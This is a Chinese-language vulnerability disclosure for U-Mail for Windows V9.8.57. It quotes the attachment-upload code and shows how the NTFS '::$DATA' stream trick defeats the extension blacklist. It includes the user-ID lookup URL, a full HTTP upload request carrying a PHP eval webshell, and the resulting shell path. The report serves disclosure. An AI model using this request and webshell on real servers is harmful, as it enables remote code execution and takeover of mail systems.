U-mail邮件系统又一getshell

摘要

U-mail邮件系统某处处理不当，导致getshell版本：U-Mail for Windows V9.8.57测试帐号：[email protected]

漏洞作者： 路人甲

U-mail邮件系统某处处理不当，导致getshell

详细说明：

版本：U-Mail for Windows V9.8.57

测试帐号：[email protected]

测试主机：windows server 2003+IIS6 [windows主机配置都为邮件系统默认配置]

首先需要获取用户的UserID，因为其缓存目录路径为 umail/WorldClient/html/client/cache/{userid}/

获取用户id的接口为

http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=

1&keyword=hello0001

 

得知userid为3

上传缺陷

漏洞文件，umail/WorldClient/html/client/mail/module/o_attach.php

代码

if ( ACTION == "attach-upload-batch" && $_FILES ) {   $file_name = $_FILES['Filedata']['name'];   $file_type = $_FILES['Filedata']['type'];   $file_size = $_FILES['Filedata']['size'];   $file_source = $_FILES['Filedata']['tmp_name'];   $path_target = getusercachepath( );   $not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );   $res_data = array( );   foreach ( $file_source as $k => $v )   {     $file_id = makerandomname( );     $file_suffix = getfilenamesuffix( $file_name[$k] );     if ( in_array( $file_suffix, $not_allow_ext ) )     {       $res_data[] = array(         "status" => "0",         "message" => el( "不支持该扩展名文件上传", "" ),         "filename" => $file_name[$k],         "filesize" => $file_size[$k],         "file_id" => $file_id       );     }     else     {       $file_target = $path_target.$file_id.".".$file_suffix;       if ( !move_uploaded_file( $v, $file_target ) )       {         $res_data[] = array(           "status" => "0",           "message" => el( "写入文件出错，请与管理员联系！", "" ),           "filename" => $file_name[$k],           "filesize" => $file_size[$k],           "file_id" => $file_id         );       }       else       {         $res_data[] = array(           "status" => "1",           "filename" => trim( $file_name[$k] ),           "filesize" => $file_size[$k],           "file_id" => $file_id         );         $_SESSION[SESSION_ID]['attach_cache'][] = array(           "id" => $file_id,           "name" => $file_name[$k],           "type" => "1",           "path" => $file_target,           "size" => $file_size[$k]         );       }     }   }   dump_json( $res_data ); }

之前版本允许传php文件，最新版采用了黑名单机制，不允许传php文件，无法绕过其后缀检测。但是利用NTFS的ADS特性，可以绕过其黑名单机制，如图

发送邮件，选择拖拽添加附件，burpsuite拦截包，修改文件名为s.php::$DATA即可绕过，如图

POST /webmail/client/mail/index.php?module=operate&action=attach-upload-batch HTTP/1.1 Host: mail.fuck.com Proxy-Connection: keep-alive Content-Length: 233 Origin: http://mail.fuck.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary37jD3r27mTgTBrAh Accept: */* Referer: http://mail.fuck.com/webmail/client/mail/index.php?module=view&action=mail-compose Accept-Encoding: gzip,deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: PHPSESSID=3b8305453c65c1039f33832b23268fff ------WebKitFormBoundary37jD3r27mTgTBrAh Content-Disposition: form-data; name="Filedata[]"; filename="s.php::$DATA" Content-Type: application/octet-stream <?php @eval($_POST['a']);?> ------WebKitFormBoundary37jD3r27mTgTBrAh--

 

则获得的webshell地址为 http://mail.fuck.com/webmail/client/cache/3/14178435495.php

关于这种windows类型的上传缺陷参考：
当php懈垢windows通用上传缺陷